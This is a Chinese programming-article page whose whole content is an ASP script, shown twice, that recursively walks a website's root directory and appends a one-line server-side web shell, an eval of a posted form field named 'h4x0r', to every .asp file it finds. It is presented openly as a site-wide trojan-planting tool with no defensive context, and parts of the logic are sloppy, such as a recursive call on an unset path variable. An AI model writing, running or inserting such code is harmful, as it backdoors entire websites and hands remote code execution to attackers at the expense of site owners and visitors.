FSO遍历目录实现全站插马的代码
程序员文章站
2022-06-29 13:09:32
<% dim ph dim intfile server.scripttimeout = 600 ph=server.mapp...
<%
dim ph
dim intfile
server.scripttimeout = 600
ph=server.mappath("/")
sub insertallfiles(path)
set fso = createobject("scripting.filesystemobject")
on error resume next
set f = fso.getfolder(path)
set fc2 = f.files
for each myfile in fc2
if lcase(fso.getextensionname(path&""&myfile.name))="asp" then
set fs1 = createobject("scripting.filesystemobject")
set tfile=fs1.opentextfile(path&""&myfile.name,8,false)
tfile.writeline "<script runat=server language=javascript>eval(request.form('h4x0r')+'')</script>"
else
insertallfiles(newpath)
end if
tfile.close
next
set fsubfolers = f.subfolders
for each f1 in fsubfolers
newpath=path&""&f1.name
insertallfiles(newpath)
next
set tfile=nothing
set fso = nothing
end sub
%>
<%
call insertallfiles(ph)
%>
dim ph
dim intfile
server.scripttimeout = 600
ph=server.mappath("/")
sub insertallfiles(path)
set fso = createobject("scripting.filesystemobject")
on error resume next
set f = fso.getfolder(path)
set fc2 = f.files
for each myfile in fc2
if lcase(fso.getextensionname(path&""&myfile.name))="asp" then
set fs1 = createobject("scripting.filesystemobject")
set tfile=fs1.opentextfile(path&""&myfile.name,8,false)
tfile.writeline "<script runat=server language=javascript>eval(request.form('h4x0r')+'')</script>"
else
insertallfiles(newpath)
end if
tfile.close
next
set fsubfolers = f.subfolders
for each f1 in fsubfolers
newpath=path&""&f1.name
insertallfiles(newpath)
next
set tfile=nothing
set fso = nothing
end sub
%>
<%
call insertallfiles(ph)
%>
上一篇: 网页语言编码及asp乱码问题解决方案